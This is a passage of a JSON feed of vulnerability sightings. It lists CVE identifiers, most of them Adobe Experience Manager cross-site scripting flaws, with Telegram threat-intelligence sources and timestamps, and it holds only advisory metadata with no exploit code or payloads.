"2024-01-06T14:56:30.000000Z"}, {"uuid": "3d1a9d12-0ce7-48f3-b9d4-5cea5425c464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48533", "type": "seen", "source": "https://t.me/ctinow/163432", "content": "https://ift.tt/8dyRMQP\nCVE-2023-48533 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T09:06:33.000000Z"}, {"uuid": "58bd9b0a-e298-4a9b-b15d-35a529cded27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48532", "type": "seen", "source": "https://t.me/ctinow/163424", "content": "https://ift.tt/hADgxFL\nCVE-2023-48532 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:36:40.000000Z"}, {"uuid": "22a56c76-b9cb-47d4-9cae-946b0893bdcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48531", "type": "seen", "source": "https://t.me/ctinow/163423", "content": "https://ift.tt/mvtiYcH\nCVE-2023-48531 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:36:39.000000Z"}, {"uuid": "451bb4bd-9a10-488e-9cdb-d5a3d6f1c90d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48530", "type": "seen", "source": "https://t.me/ctinow/163422", "content": "https://ift.tt/DhpMzdl\nCVE-2023-48530 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:36:38.000000Z"}, {"uuid": "ab048ad3-dcc7-459d-bbd0-282ffb677b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48496", "type": "seen", "source": "https://t.me/ctinow/163276", "content": "https://ift.tt/UbGFxQm\nCVE-2023-48496 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T22:51:53.000000Z"}, {"uuid": "91c0bd23-3e19-4fdc-89c6-f61cdda52845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48586", "type": "seen", "source": "https://t.me/ctinow/163929", "content": "https://ift.tt/NnXV8aI\nCVE-2023-48586 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:02:24.000000Z"}, {"uuid": "7c750ca8-271f-48c6-a79c-1723dec1219f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48582", "type": "seen", "source": "https://t.me/ctinow/163922", "content": "https://ift.tt/gHvz7Tn\nCVE-2023-48582 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T13:21:19.000000Z"}, {"uuid": "f7fc06df-63dd-49a5-bc71-34996e7fe0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48581", "type": "seen", "source": "https://t.me/ctinow/163921", "content": "https://ift.tt/hi6q2me\nCVE-2023-48581 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T12:56:58.000000Z"}, {"uuid": "7e2f5110-7d37-4bcd-8c0f-0f25da03ceff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48473", "type": "seen", "source": "https://t.me/ctinow/163075", "content": "https://ift.tt/6tOksha\nCVE-2023-48473 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T16:16:28.000000Z"}, {"uuid": "f71bcb09-f9fa-46bc-a0e7-ba3ab3929926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48965", "type": "seen", "source": "https://t.me/ctinow/158753", "content": "https://ift.tt/Ry0qpXJ\nCVE-2023-48965 | ThinkAdmin 6.1.53 URL information disclosure", "creation_timestamp": "2023-12-23T10:21:43.000000Z"}, {"uuid": "569102ac-7f4c-4485-9f1d-8b877cab4c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48585", "type": "seen", "source": "https://t.me/ctinow/163928", "content": "https://ift.tt/qUfROVs\nCVE-2023-48585 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:02:22.000000Z"}, {"uuid": "485b948a-3941-4e1b-9012-95ea339e68e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48544", "type": "seen", "source": "https://t.me/ctinow/163852", "content": "https://ift.tt/9WShpzR\nCVE-2023-48544 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:26.000000Z"}, {"uuid": "5ffc2448-5a5d-49b3-b05c-a18b50659ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48504", "type": "seen", "source": "https://t.me/ctinow/163327", "content": "https://ift.tt/iLZtOoh\nCVE-2023-48504 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T01:31:45.000000Z"}, {"uuid": "7d37ff34-ce4e-419b-b489-3b4b9c141631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48503", "type": "seen", "source": "https://t.me/ctinow/163320", "content": "https://ift.tt/jCt1GNX\nCVE-2023-48503 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T00:56:14.000000Z"}, {"uuid": "871dc0bb-5b3f-4b5b-ba6a-563eacdbabb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48502", "type": "seen", "source": "https://t.me/ctinow/163319", "content": "https://ift.tt/XMNlCe5\nCVE-2023-48502 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T00:56:13.000000Z"}, {"uuid": "391705e8-219d-4901-b05f-3c9b0ef339c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4815", "type": "seen", "source": "https://t.me/cibsecurity/70051", "content": "\u203c CVE-2023-4815 \u203c\n\nMissing Authentication for Critical Function in GitHub repository answerdev/answer prior to v1.1.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-07T12:18:32.000000Z"}, {"uuid": "8d96d917-c6c2-4197-8b50-e77aba2cc393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48625", "type": "seen", "source": "https://t.me/ctinow/164013", "content": "https://ift.tt/wnOSsiC\nCVE-2023-48625 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": "2024-01-06T20:56:16.000000Z"}, {"uuid": "c7fb5547-6d46-47bf-bdce-4323c7fd3223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48584", "type": "seen", "source": "https://t.me/ctinow/163924", "content": "https://ift.tt/Vb21Dwz\nCVE-2023-48584 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T13:21:22.000000Z"}, {"uuid": "5c891937-41ca-4b9a-8a18-62e17b12e270", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48583", "type": "seen", "source": "https://t.me/ctinow/163923", "content": "https://ift.tt/4Z6Ol9t\nCVE-2023-48583 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T13:21:20.000000Z"}, {"uuid": "d37fce12-6614-47ce-92b2-e55b13c0395e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48571", "type": "seen", "source": "https://t.me/ctinow/163902", "content": "https://ift.tt/lKpPdak\nCVE-2023-48571 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:51:57.000000Z"}, {"uuid": "12fb1b58-8aae-45f7-a1e8-99ede9930831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48570", "type": "seen", "source": "https://t.me/ctinow/163901", "content": "https://ift.tt/pu7adLV\nCVE-2023-48570 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:51:57.000000Z"}, {"uuid": "43113a14-9552-41f7-bc4b-44be73886a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48569", "type": "seen", "source": "https://t.me/ctinow/163889", "content": "https://ift.tt/5DPc2yf\nCVE-2023-48569 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:19.000000Z"}, {"uuid": "bbc7458b-bb42-403d-9080-84014d289630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48568", "type": "seen", "source": "https://t.me/ctinow/163888", "content": "https://ift.tt/FDYVudE\nCVE-2023-48568 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:17.000000Z"}, {"uuid": "3e00d1e8-5868-483f-b81c-2a9ed81b8337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48567", "type": "seen", "source": "https://t.me/ctinow/163887", "content": "https://ift.tt/YT4pw7h\nCVE-2023-48567 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:16.000000Z"}, {"uuid": "181a8d31-d07d-47b5-8e6c-4560469ef711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48543", "type": "seen", "source": "https://t.me/ctinow/163846", "content": "https://ift.tt/gYqvrmk\nCVE-2023-48543 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:26:27.000000Z"}, {"uuid": "fd19084c-595d-4361-8984-50883e996812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48542", "type": "seen", "source": "https://t.me/ctinow/163845", "content": "https://ift.tt/EYBMdVr\nCVE-2023-48542 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:26:26.000000Z"}, {"uuid": "57665953-a29e-4a03-9764-26df88e4e8ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48541", "type": "seen", "source": "https://t.me/ctinow/163844", "content": "https://ift.tt/OaK1kjb\nCVE-2023-48541 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:26:25.000000Z"}, {"uuid": "a6ed4f35-5776-495c-933f-9e41df82acd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48534", "type": "seen", "source": "https://t.me/ctinow/163828", "content": "https://ift.tt/UaEvlJc\nCVE-2023-48534 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T06:51:57.000000Z"}, {"uuid": "20f50614-e0c2-4496-9cee-140cdde30b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48501", "type": "seen", "source": "https://t.me/ctinow/163312", "content": "https://ift.tt/GDY1lMf\nCVE-2023-48501 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T00:27:03.000000Z"}, {"uuid": "a2cdede6-f3af-4753-aa43-043cfa5a4a67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48500", "type": "seen", "source": "https://t.me/ctinow/163305", "content": "https://ift.tt/zZapxCU\nCVE-2023-48500 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T23:56:55.000000Z"}, {"uuid": "b5b083b0-9719-40d4-80a4-f817325eac54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48499", "type": "seen", "source": "https://t.me/ctinow/163304", "content": "https://ift.tt/ye5r3lo\nCVE-2023-48499 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T23:56:54.000000Z"}, {"uuid": "377fd087-d8c6-4e79-8110-57c592ba6040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48498", "type": "seen", "source": "https://t.me/ctinow/163294", "content": "https://ift.tt/KvW5pYP\nCVE-2023-48498 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T23:26:44.000000Z"}, {"uuid": "2ade3857-3ff6-4713-841e-1d1928d2c0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48497", "type": "seen", "source": "https://t.me/ctinow/163293", "content": "https://ift.tt/dFZAv6p\nCVE-2023-48497 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T23:26:43.000000Z"}, {"uuid": "f4388789-544e-42d0-95d4-e76f67e5d7fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48474", "type": "seen", "source": "https://t.me/ctinow/163096", "content": "https://ift.tt/YHwclxD\nCVE-2023-48474 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T16:46:35.000000Z"}, {"uuid": "c925ff30-e7f1-4dea-8751-8f9a20360e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48587", "type": "seen", "source": "https://t.me/ctinow/163930", "content": "https://ift.tt/kwTfKhe\nCVE-2023-48587 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:02:25.000000Z"}, {"uuid": "6a4c079b-b548-4ebc-8706-5964b4fc6a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48572", "type": "seen", "source": "https://t.me/ctinow/163909", "content": "https://ift.tt/G01WDBU\nCVE-2023-48572 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T11:26:12.000000Z"}, {"uuid": "1ccade4a-eba8-4318-a0f5-fa50a33c4f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48706", "type": "seen", "source": "https://t.me/ctinow/163627", "content": "https://ift.tt/7DHxGIn\nCVE-2023-48706 Vim Vulnerability in NetApp Products", "creation_timestamp": "2024-01-05T18:31:38.000000Z"}, {"uuid": "9acafdef-5246-45c3-88fd-6384796686d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/163624", "content": "https://ift.tt/pblfI0A\nCVE-2023-48795 SSH Protocol Vulnerability in NetApp Products", "creation_timestamp": "2024-01-05T18:31:35.000000Z"}, {"uuid": "43c685a0-55c7-4241-a707-08d9320ba39d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48493", "type": "seen", "source": "https://t.me/ctinow/163235", "content": "https://ift.tt/tCBh5qk\nCVE-2023-48493 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T21:22:13.000000Z"}, {"uuid": "8da92f00-ccaf-436a-9293-f664af568c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48480", "type": "seen", "source": "https://t.me/ctinow/163140", "content": "https://ift.tt/GTMzheQ\nCVE-2023-48480 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T18:16:14.000000Z"}, {"uuid": "7e49bfa0-3056-4a2b-b002-41bbdabe7110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48479", "type": "seen", "source": "https://t.me/ctinow/163138", "content": "https://ift.tt/3kmH0KU\nCVE-2023-48479 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T17:46:17.000000Z"}, {"uuid": "f07e56b8-026b-4746-bec8-689c6cecd658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48478", "type": "seen", "source": "https://t.me/ctinow/163137", "content": "https://ift.tt/LSjPfM9\nCVE-2023-48478 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T17:46:16.000000Z"}, {"uuid": "962c8ec1-e897-4f6b-aada-426b173d7de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48468", "type": "seen", "source": "https://t.me/ctinow/163033", "content": "https://ift.tt/h04sgPN\nCVE-2023-48468 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:12:04.000000Z"}, {"uuid": "2434b490-ecf6-4037-a45d-caa33089df13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48467", "type": "seen", "source": "https://t.me/ctinow/163032", "content": "https://ift.tt/zjGqp6Y\nCVE-2023-48467 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:12:02.000000Z"}, {"uuid": "92ed84fd-296e-482c-a948-e62128fcdd44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48465", "type": "seen", "source": "https://t.me/ctinow/163030", "content": "https://ift.tt/RDxr7H5\nCVE-2023-48465 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:11:57.000000Z"}, {"uuid": "0ae6b830-ef6a-4c92-b383-685da628320a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48464", "type": "seen", "source": "https://t.me/ctinow/163029", "content": "https://ift.tt/2kvdmGM\nCVE-2023-48464 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:11:56.000000Z"}, {"uuid": "3f6555c1-8c68-424f-b856-5cd03a6f5b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48463", "type": "seen", "source": "https://t.me/ctinow/163028", "content": "https://ift.tt/Bh10LKv\nCVE-2023-48463 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:11:56.000000Z"}, {"uuid": "4326ddc0-ccf7-4925-85d4-4d820fbe999e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48461", "type": "seen", "source": "https://t.me/ctinow/163016", "content": "https://ift.tt/GsFSu40\nCVE-2023-48461 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:41:34.000000Z"}, {"uuid": "8eeba95f-edc7-4fad-9658-0cc831bcc6c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48529", "type": "seen", "source": "https://t.me/ctinow/163421", "content": "https://ift.tt/w1LBXhR\nCVE-2023-48529 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:36:37.000000Z"}, {"uuid": "8a5f994c-9230-4ce8-9819-0e3136cf5d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48528", "type": "seen", "source": "https://t.me/ctinow/163417", "content": "https://ift.tt/c8MqXYp\nCVE-2023-48528 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:06:13.000000Z"}, {"uuid": "61da97a3-366b-4f2a-bba1-0f578d55668d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48527", "type": "seen", "source": "https://t.me/ctinow/163416", "content": "https://ift.tt/OU6GDAw\nCVE-2023-48527 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:06:12.000000Z"}, {"uuid": "6438b18d-ba72-4c00-9310-f7fadf8dcbbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48526", "type": "seen", "source": "https://t.me/ctinow/163415", "content": "https://ift.tt/lEzTU3o\nCVE-2023-48526 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T08:06:11.000000Z"}, {"uuid": "f6885113-17b8-4559-87a9-8484ac51142f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48525", "type": "seen", "source": "https://t.me/ctinow/163409", "content": "https://ift.tt/6LGFWsO\nCVE-2023-48525 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T07:36:38.000000Z"}, {"uuid": "1c2b9041-9a72-4430-978f-8888026e8043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48524", "type": "seen", "source": "https://t.me/ctinow/163408", "content": "https://ift.tt/5anZ0O7\nCVE-2023-48524 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T07:36:37.000000Z"}, {"uuid": "6d97ff8b-a57c-41e3-ba52-a885c273f5e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48523", "type": "seen", "source": "https://t.me/ctinow/163403", "content": "https://ift.tt/401hQaW\nCVE-2023-48523 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T07:07:08.000000Z"}, {"uuid": "3d414d5c-0253-4a10-a961-d96ac920ec86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48522", "type": "seen", "source": "https://t.me/ctinow/163402", "content": "https://ift.tt/5VCOI7f\nCVE-2023-48522 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T07:07:07.000000Z"}, {"uuid": "2997775c-3337-46e9-8d34-791606610df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48521", "type": "seen", "source": "https://t.me/ctinow/163395", "content": "https://ift.tt/xlnPod2\nCVE-2023-48521 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T06:41:50.000000Z"}, {"uuid": "05bd3752-3fc8-4865-abed-bec3091eb55f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48520", "type": "seen", "source": "https://t.me/ctinow/163387", "content": "https://ift.tt/sPl1AgB\nCVE-2023-48520 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T06:07:10.000000Z"}, {"uuid": "a516033d-17f4-4e7e-b112-9e595dd5081f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48519", "type": "seen", "source": "https://t.me/ctinow/163383", "content": "https://ift.tt/GDjyhp7\nCVE-2023-48519 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T05:36:30.000000Z"}, {"uuid": "b5568fdc-3799-4fe7-a1bd-24c1c2fca38d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48518", "type": "seen", "source": "https://t.me/ctinow/163382", "content": 